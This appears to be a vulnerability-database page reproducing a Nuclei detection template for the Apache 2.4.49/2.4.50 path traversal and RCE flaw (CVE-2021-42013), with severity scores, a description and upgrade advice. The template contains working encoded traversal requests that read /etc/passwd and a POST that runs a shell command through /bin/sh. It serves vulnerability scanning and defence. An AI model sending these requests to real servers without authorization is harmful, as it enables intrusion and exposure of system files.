Lucene search

K
nucleiProjectDiscoveryNUCLEI:CVE-2021-42013
HistoryOct 07, 2021 - 6:17 p.m.

Apache 2.4.49/2.4.50 - Path Traversal and Remote Code Execution

2021-10-0718:17:29
ProjectDiscovery
github.com
5

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

8.2 High

AI Score

Confidence

High

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.975 High

EPSS

Percentile

100.0%

A flaw was found in a change made to path normalization in Apache HTTP Server 2.4.49 and 2.4.50. An attacker could use a path traversal attack to map URLs to files outside the expected document root. If files outside of the document root are not protected by "require all denied" these requests can succeed. Additionally, this flaw could leak the source of interpreted files like CGI scripts. In certain configurations, for instance if mod_cgi is enabled, this flaw can lead to remote code execution. This issue only affects Apache 2.4.49 and 2.4.50 and not earlier versions. Note - CVE-2021-42013 is due to an incomplete fix for the original vulnerability CVE-2021-41773.
id: CVE-2021-42013

info:
  name: Apache 2.4.49/2.4.50 - Path Traversal and Remote Code Execution
  author: nvn1729,0xd0ff9,666asd
  severity: critical
  description: |
    A flaw was found in a change made to path normalization in Apache HTTP Server 2.4.49 and 2.4.50. An attacker could use a path traversal attack to map URLs to files outside the expected document root. If files outside of the document root are not protected by "require all denied" these requests can succeed. Additionally, this flaw could leak the source of interpreted files like CGI scripts. In certain configurations, for instance if mod_cgi is enabled, this flaw can lead to remote code execution. This issue only affects Apache 2.4.49 and 2.4.50 and not earlier versions. Note - CVE-2021-42013 is due to an incomplete fix for the original vulnerability CVE-2021-41773.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code and gain unauthorized access to sensitive information.
  remediation: Upgrade to Apache HTTP Server 2.4.51 or later.
  reference:
    - https://httpd.apache.org/security/vulnerabilities_24.html
    - https://github.com/apache/httpd/commit/5c385f2b6c8352e2ca0665e66af022d6e936db6d
    - https://nvd.nist.gov/vuln/detail/CVE-2021-42013
    - https://twitter.com/itsecurityco/status/1446136957117943815
    - http://jvn.jp/en/jp/JVN51106450/index.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: "CVE-2021-42013"
    cwe-id: CWE-22
    epss-score: 0.97391
    epss-percentile: 0.9991
    cpe: cpe:2.3:a:apache:http_server:2.4.49:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: apache
    product: http_server
  tags: cve2021,cve,lfi,apache,rce,misconfig,traversal,kev
variables:
  cmd: "echo 31024-1202-EVC | rev"

http:
  - raw:
      - |+
        GET /icons/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd HTTP/1.1
        Host: {{Hostname}}
        Origin: {{BaseURL}}

      - |+
        GET /icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd HTTP/1.1
        Host: {{Hostname}}
        Origin: {{BaseURL}}

      - |+
        POST /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh HTTP/1.1
        Host: {{Hostname}}
        Origin: {{BaseURL}}
        Content-Type: application/x-www-form-urlencoded

        echo Content-Type: text/plain; echo; {{cmd}}

    stop-at-first-match: true
    unsafe: true

    matchers-condition: or
    matchers:
      - type: word
        name: RCE
        words:
          - "CVE-2021-42013"

      - type: regex
        name: LFI
        regex:
          - "root:.*:0:0:"
# digest: 4a0a004730450221008a6bc546c437350fc98f88d2f5b38489ab7086b7fd9446872c2942f85926d15c02202b266a582773335d0ba8f75869654d2aff0c55d27dd9ab7874f19615691ceade:922c64590222798bb761d5b6d8e72950

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

8.2 High

AI Score

Confidence

High

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.975 High

EPSS

Percentile

100.0%